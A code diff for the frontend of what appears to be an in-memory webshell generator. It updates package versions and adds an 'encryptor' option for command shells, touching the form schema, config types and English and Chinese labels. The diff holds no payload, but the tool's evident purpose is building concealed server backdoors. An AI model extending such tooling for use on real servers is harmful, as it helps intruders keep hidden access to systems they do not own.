"@radix-ui/react-progress": "^1.1.2", "@radix-ui/react-progress": "^1.1.4",
"@radix-ui/react-radio-group": "^1.2.3", "@radix-ui/react-radio-group": "^1.3.4",
"@radix-ui/react-scroll-area": "^1.2.3", "@radix-ui/react-scroll-area": "^1.2.6",
"@radix-ui/react-select": "^2.1.6", "@radix-ui/react-select": "^2.2.2",
"@radix-ui/react-separator": "^1.1.2", "@radix-ui/react-separator": "^1.1.4",
"@radix-ui/react-slider": "^1.2.3", "@radix-ui/react-slider": "^1.3.2",
"@radix-ui/react-slot": "^1.1.2", "@radix-ui/react-slot": "^1.2.0",
"@radix-ui/react-switch": "^1.1.3", "@radix-ui/react-switch": "^1.2.2",
"@radix-ui/react-tabs": "^1.1.3", "@radix-ui/react-tabs": "^1.1.9",
"@radix-ui/react-toggle": "^1.1.2", "@radix-ui/react-toggle": "^1.1.6",
"@radix-ui/react-toggle-group": "^1.1.2", "@radix-ui/react-toggle-group": "^1.1.7",
"@radix-ui/react-tooltip": "^1.1.8", "@radix-ui/react-tooltip": "^1.2.4",
"@tailwindcss/vite": "^4.1.3", "@tailwindcss/vite": "^4.1.4",
"@tanstack/react-query": "^5.71.10", "@tanstack/react-query": "^5.74.7",
"class-variance-authority": "^0.7.1", "class-variance-authority": "^0.7.1",
"clsx": "^2.1.1", "clsx": "^2.1.1",
"cmdk": "^1.1.1", "cmdk": "^1.1.1",
"date-fns": "^4.1.0", "date-fns": "^4.1.0",
"embla-carousel-react": "^8.6.0", "embla-carousel-react": "^8.6.0",
"i18next": "^24.2.3", "i18next": "^25.0.1",
"input-otp": "^1.4.2", "input-otp": "^1.4.2",
"lucide-react": "^0.487.0", "lucide-react": "^0.503.0",
"react": "^19.1.0", "react": "^19.1.0",
"react-copy-to-clipboard": "^5.1.0", "react-copy-to-clipboard": "^5.1.0",
"react-day-picker": "9.6.4", "react-day-picker": "9.6.7",
"react-dom": "^19.1.0", "react-dom": "^19.1.0",
"react-hook-form": "^7.55.0", "react-hook-form": "^7.56.1",
"react-i18next": "^15.4.1", "react-i18next": "^15.5.1",
"react-resizable-panels": "^2.1.7", "react-resizable-panels": "^2.1.8",
"react-router": "^7.5.0", "react-router": "^7.5.2",
"react-router-dom": "^7.5.0", "react-router-dom": "^7.5.2",
"react-syntax-highlighter": "^15.6.1", "react-syntax-highlighter": "^15.6.1",
"recharts": "^2.15.2", "recharts": "^2.15.3",
"sonner": "^2.0.3", "sonner": "^2.0.3",
"tailwind-merge": "^3.1.0", "tailwind-merge": "^3.2.0",
"tailwind-scrollbar": "^4.0.2", "tailwind-scrollbar": "^4.0.2",
"tailwindcss-animate": "^1.0.7", "tailwindcss-animate": "^1.0.7",
"vaul": "^1.1.2", "vaul": "^1.1.2",
"zod": "^3.24.2" "zod": "^3.24.3"
}, },
"trustedDependencies": ["@biomejs/biome"] "trustedDependencies": ["@biomejs/biome"]
} }
@@ -6,10 +6,11 @@ import {
AlertDialogCancel, AlertDialogCancel,
AlertDialogContent, AlertDialogContent,
AlertDialogDescription, AlertDialogDescription,
AlertDialogFooter,
AlertDialogHeader,
AlertDialogTitle, AlertDialogTitle,
AlertDialogTrigger, AlertDialogTrigger,
} from "../ui/alert-dialog"; } from "../ui/alert-dialog";
import { AlertDialogFooter, AlertDialogHeader } from "../ui/alert-dialog";
import { Button } from "../ui/button"; import { Button } from "../ui/button";
export function FeedbackAlert() { export function FeedbackAlert() {
+63 -14
View File
@@ -1,9 +1,13 @@
import { env } from "@/config";
import { FormSchema } from "@/types/schema"; import { FormSchema } from "@/types/schema";
import { useQuery } from "@tanstack/react-query";
import { useEffect, useState } from "react";
import { FormProvider, UseFormReturn } from "react-hook-form"; import { FormProvider, UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import { Card, CardContent } from "../ui/card"; import { Card, CardContent } from "../ui/card";
import { FormControl, FormField, FormItem, FormLabel } from "../ui/form"; import { FormControl, FormField, FormItem, FormLabel } from "../ui/form";
import { Input } from "../ui/input"; import { Input } from "../ui/input";
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "../ui/select";
import { TabsContent } from "../ui/tabs"; import { TabsContent } from "../ui/tabs";
import { OptionalClassFormField } from "./classname-field"; import { OptionalClassFormField } from "./classname-field";
import { ShellTypeFormField } from "./shelltype-field"; import { ShellTypeFormField } from "./shelltype-field";
@@ -14,6 +18,26 @@ export function CommandTabContent({
shellTypes, shellTypes,
}: Readonly<{ form: UseFormReturn<FormSchema>; shellTypes: Array<string> }>) { }: Readonly<{ form: UseFormReturn<FormSchema>; shellTypes: Array<string> }>) {
const { t } = useTranslation(); const { t } = useTranslation();
const { data } = useQuery<Array<string>>({
queryKey: ["commandEncryptor"],
queryFn: async () => {
const response = await fetch(`${env.API_URL}/config/command/encryptors`);
return await response.json();
},
});
const rawEncryptors = data ?? [];
const [encryptors, setEncryptors] = useState<Array<string>>(rawEncryptors);
const shellType = form.watch("shellType");
useEffect(() => {
if (shellType.startsWith("Agent")) {
setEncryptors(["RAW"]);
} else {
setEncryptors(rawEncryptors);
}
}, [shellType, rawEncryptors]);
return ( return (
<FormProvider {...form}> <FormProvider {...form}>
<TabsContent value="Command"> <TabsContent value="Command">
@@ -23,20 +47,45 @@ export function CommandTabContent({
<ShellTypeFormField form={form} shellTypes={shellTypes} /> <ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} /> <UrlPatternFormField form={form} />
</div> </div>
<FormField <div className="grid grid-cols-2 gap-2">
control={form.control} <FormField
name="commandParamName" control={form.control}
render={({ field }) => ( name="commandParamName"
<FormItem className="gap-1"> render={({ field }) => (
<FormLabel className="h-6 flex items-center gap-1"> <FormItem className="gap-1">
{t("shellToolConfig.paramName")} {t("optional")} <FormLabel className="h-6 flex items-center gap-1">
</FormLabel> {t("shellToolConfig.paramName")} {t("optional")}
<FormControl> </FormLabel>
<Input {...field} placeholder={t("shellToolConfig.paramName")} className="h-8" /> <FormControl>
</FormControl> <Input {...field} placeholder={t("shellToolConfig.paramName")} className="h-8" />
</FormItem> </FormControl>
)} </FormItem>
/> )}
/>
<FormField
control={form.control}
name="encryptor"
render={({ field }) => (
<FormItem className="gap-1">
<FormLabel className="h-6 flex items-center">{t("shellToolConfig.encryptor")}</FormLabel>
<Select onValueChange={field.onChange} value={field.value} defaultValue="RAW">
<FormControl>
<SelectTrigger className="h-8">
<SelectValue placeholder={t("placeholders.select")} />
</SelectTrigger>
</FormControl>
<SelectContent key={data?.join(",")}>
{encryptors?.map((v) => (
<SelectItem key={v} value={v}>
{v}
</SelectItem>
))}
</SelectContent>
</Select>
</FormItem>
)}
/>
</div>
<OptionalClassFormField form={form} /> <OptionalClassFormField form={form} />
</CardContent> </CardContent>
</Card> </Card>
+2 -1
View File
@@ -108,7 +108,8 @@
"paramName": "Param Name", "paramName": "Param Name",
"pass": "Pass", "pass": "Pass",
"suo5Header": "AdvanceConfiguration -> Request Header", "suo5Header": "AdvanceConfiguration -> Request Header",
"base64String": "Shell Class" "base64String": "Shell Class",
"encryptor": "Encryptor"
}, },
"success": { "success": {
"generated": "Generation successful" "generated": "Generation successful"
+2 -1
View File
@@ -108,7 +108,8 @@
"paramName": "请求参数", "paramName": "请求参数",
"pass": "密码", "pass": "密码",
"suo5Header": "高级配置 -> 请求头", "suo5Header": "高级配置 -> 请求头",
"base64String": "内存马类" "base64String": "内存马类",
"encryptor": "加密器"
}, },
"success": { "success": {
"generated": "生成成功" "generated": "生成成功"
+1
View File
@@ -20,6 +20,7 @@ export const formSchema = z.object({
packingMethod: z.string().min(1), packingMethod: z.string().min(1),
shrink: z.optional(z.boolean()), shrink: z.optional(z.boolean()),
shellClassBase64: z.optional(z.string()), shellClassBase64: z.optional(z.string()),
encryptor: z.optional(z.string()),
}); });
export type FormSchema = z.infer<typeof formSchema>; export type FormSchema = z.infer<typeof formSchema>;
+1
View File
@@ -19,6 +19,7 @@ export interface ShellToolConfig {
headerName?: string; headerName?: string;
headerValue?: string; headerValue?: string;
shellClassBase64?: string; shellClassBase64?: string;
encryptor?: string;
} }
export interface CommandShellToolConfig { export interface CommandShellToolConfig {
+1
View File
@@ -43,6 +43,7 @@ export function transformToPostData(formValue: FormSchema) {
headerName: formValue.headerName, headerName: formValue.headerName,
headerValue: formValue.headerValue, headerValue: formValue.headerValue,
shellClassBase64: formValue.shellClassBase64, shellClassBase64: formValue.shellClassBase64,
encryptor: formValue.encryptor,
}; };
const injectorConfig: InjectorConfig = { const injectorConfig: InjectorConfig = {